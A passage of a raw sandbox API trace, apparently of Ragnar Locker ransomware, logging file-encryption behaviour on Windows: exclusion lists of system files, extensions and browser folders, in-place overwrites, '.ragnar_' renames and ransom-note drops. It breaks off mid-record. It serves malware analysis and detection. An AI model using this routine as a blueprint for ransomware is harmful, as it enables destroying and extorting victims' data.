lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0072.236] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0072.236] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0072.236] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0072.236] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0072.236] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0072.236] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0072.236] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0072.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0072.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0072.237] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1363) returned 1 [0072.237] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x54a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.237] GetProcessHeap () returned 0x580000 [0072.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.237] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.239] VirtualAlloc (lpAddress=0x0, dwSize=0x553, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.239] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.239] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.239] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x553, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x553, lpOverlapped=0x0) returned 1 [0072.239] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.239] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x553, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.239] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x553, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x553, lpOverlapped=0x0) returned 1 [0072.239] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x553, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.239] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.240] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x553, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.240] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.240] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.240] GetProcessHeap () returned 0x580000 [0072.240] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.240] CloseHandle (hObject=0x100) returned 1 [0072.242] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" [0072.242] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0072.242] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce742c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ce742c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0072.243] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.243] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0072.243] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\RGNR_FD7BD9FC.txt") returned=".txt" [0072.243] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0072.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0072.243] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.243] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0072.243] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned=".PNG" [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0072.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0072.244] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0072.244] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0072.244] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0072.244] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0072.244] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0072.244] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0072.244] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0072.244] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0072.244] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0072.244] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0072.244] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0072.244] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0072.244] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0072.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0072.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0072.244] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=20371) returned 1 [0072.244] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4f8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.244] GetProcessHeap () returned 0x580000 [0072.244] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.244] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.246] VirtualAlloc (lpAddress=0x0, dwSize=0x4f93, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.246] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.246] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.246] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f93, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4f93, lpOverlapped=0x0) returned 1 [0072.247] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.247] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f93, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.247] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f93, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4f93, lpOverlapped=0x0) returned 1 [0072.248] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f93, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.248] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.248] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4f93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.248] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.248] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.248] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.248] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.248] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.248] GetProcessHeap () returned 0x580000 [0072.249] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.249] CloseHandle (hObject=0x100) returned 1 [0072.249] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" [0072.250] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0072.250] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.250] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0072.250] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0072.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0072.250] lstrcmpiW (lpString1="COMPASS", lpString2=".") returned 1 [0072.250] lstrcmpiW (lpString1="COMPASS", lpString2="..") returned 1 [0072.250] lstrcmpiW (lpString1="COMPASS", lpString2="Windows") returned -1 [0072.250] lstrcmpiW (lpString1="COMPASS", lpString2="Windows.old") returned -1 [0072.250] lstrcmpiW (lpString1="COMPASS", lpString2="Tor browser") returned -1 [0072.250] lstrcmpiW (lpString1="COMPASS", lpString2="Internet Explorer") returned -1 [0072.250] lstrcmpiW (lpString1="COMPASS", lpString2="Google") returned -1 [0072.251] lstrcmpiW (lpString1="COMPASS", lpString2="Opera") returned -1 [0072.251] lstrcmpiW (lpString1="COMPASS", lpString2="Opera Software") returned -1 [0072.251] lstrcmpiW (lpString1="COMPASS", lpString2="Mozilla") returned -1 [0072.251] lstrcmpiW (lpString1="COMPASS", lpString2="Mozilla Firefox") returned -1 [0072.251] lstrcmpiW (lpString1="COMPASS", lpString2="$Recycle.Bin") returned 1 [0072.251] lstrcmpiW (lpString1="COMPASS", lpString2="ProgramData") returned -1 [0072.251] lstrcmpiW (lpString1="COMPASS", lpString2="All Users") returned 1 [0072.251] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0072.251] lstrcpyW (in: lpString1=0x1eb638, lpString2="COMPASS" | out: lpString1="COMPASS") returned="COMPASS" [0072.251] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\" [0072.251] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\" [0072.251] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\RGNR_FD7BD9FC.txt" [0072.251] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0072.254] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*" [0072.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.254] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0072.254] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0072.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d4fff40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d4fff40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0072.254] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0072.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d4fff40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d4fff40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.254] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0072.254] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0072.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0072.254] lstrcmpiW (lpString1="COMPASS.ELM", lpString2=".") returned 1 [0072.254] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="..") returned 1 [0072.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0072.254] lstrcmpiW (lpString1="COMPASS.INF", lpString2=".") returned 1 [0072.254] lstrcmpiW (lpString1="COMPASS.INF", lpString2="..") returned 1 [0072.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0072.254] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0072.254] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0072.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4fff40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7d4fff40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0072.255] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0072.255] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0072.255] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, 